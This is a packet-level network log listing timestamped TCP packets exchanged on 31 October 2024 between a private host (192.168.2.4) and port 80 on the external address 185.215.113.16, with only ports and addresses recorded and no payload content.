Oct 31, 2024 23:38:21.061857939 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061872959 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061873913 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061882973 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061888933 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061899900 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061906099 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061913967 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061922073 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061944008 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061944962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061959982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061964035 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061976910 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061983109 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061992884 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062009096 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062025070 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062026978 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062041998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062042952 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062057972 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062064886 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062083960 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062084913 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062100887 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062105894 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062117100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062124968 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062134027 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062141895 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062150955 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062155962 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062170029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062176943 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062185049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062196970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062201023 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062206030 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062216043 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062232971 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062241077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062268019 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062273026 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062288046 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062304020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062315941 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062315941 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062319040 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062334061 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062335014 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062350988 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062355042 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062366962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062371969 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062382936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062397957 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062403917 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062412024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062433958 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062436104 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062453032 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062458992 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062469006 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062473059 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062485933 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062494040 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062503099 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062509060 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062519073 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062530041 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062534094 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062547922 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062549114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062572956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062572956 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062592030 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062608004 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062614918 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062614918 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062623978 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062627077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062639952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062649965 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062657118 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062673092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062680006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062690020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062690973 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062705994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062711954 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062731028 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062747002 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062750101 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062756062 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062763929 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062769890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062782049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062792063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062798023 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062810898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062814951 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062819958 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062833071 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062841892 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062850952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062855959 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062868118 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062872887 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062884092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062890053 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062901020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062908888 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062908888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062916994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062925100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062939882 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062948942 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062954903 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062971115 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.062977076 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.062987089 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063009977 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063013077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063026905 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063030958 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063043118 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063050985 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063059092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063074112 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063082933 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063091040 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063106060 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063112020 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063122034 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063131094 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063139915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063154936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063162088 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063169956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063186884 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063194036 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063203096 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063220024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063224077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063235044 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063251019 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063254118 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063261032 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063266039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063281059 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063297987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063301086 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063323021 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063333988 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063338995 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063343048 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063354969 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063369989 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063376904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063385963 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063394070 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063401937 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063416958 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063426018 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063432932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063450098 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063458920 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063466072 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063482046 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063483953 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063497066 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063513041 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063518047 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063527107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063535929 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063546896 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063549995 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.063572884 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.063589096 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.064110994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.064254045 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.064270020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.064296961 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.064315081 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.064404011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.064419031 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.064469099 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171236038 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171262980 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171278000 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171293974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171308994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171329975 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171344042 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171359062 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171401978 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171417952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171433926 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171458006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171458006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171458006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171458006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171458006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171497107 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171497107 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171544075 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171560049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171575069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171612978 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171636105 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171655893 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171672106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171686888 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171701908 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171714067 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171719074 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171735048 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171741962 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171752930 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171763897 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171782970 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171787977 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171798944 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171814919 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171818972 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171849012 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171899080 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171917915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171932936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171950102 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171958923 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171966076 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.171971083 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.171998024 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172014952 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172235966 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172250032 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172293901 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172298908 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172312021 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172337055 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172348976 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172360897 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172363043 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172379017 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172399998 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172429085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172430038 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172442913 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172477007 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172507048 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172519922 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172539949 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172573090 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172610998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172626019 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172641039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172669888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172691107 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172780991 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172796965 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172812939 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172830105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.172848940 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172861099 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.172995090 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173008919 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173032045 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173047066 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173053026 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173062086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173075914 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173078060 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173096895 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173100948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173121929 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173126936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173141956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173145056 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173156977 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173161983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173173904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173180103 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173196077 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173197985 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173218012 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173223972 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173285961 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173300982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173316956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173325062 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173332930 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173347950 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173350096 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173356056 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173363924 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173378944 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173378944 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173394918 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173404932 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173404932 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173410892 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173423052 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173427105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173453093 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173475981 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173480988 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173496962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173512936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173528910 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173533916 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173533916 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173540115 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173547029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173563004 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173567057 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173578024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173588037 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173594952 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173594952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173619032 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173625946 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173742056 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173758030 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173773050 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.173793077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173803091 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.173821926 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176659107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176675081 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176688910 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176703930 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176722050 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176745892 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176779985 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176794052 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176810026 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176815987 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176826954 CET	80	49870	185.215.113.16	192.168.2.4
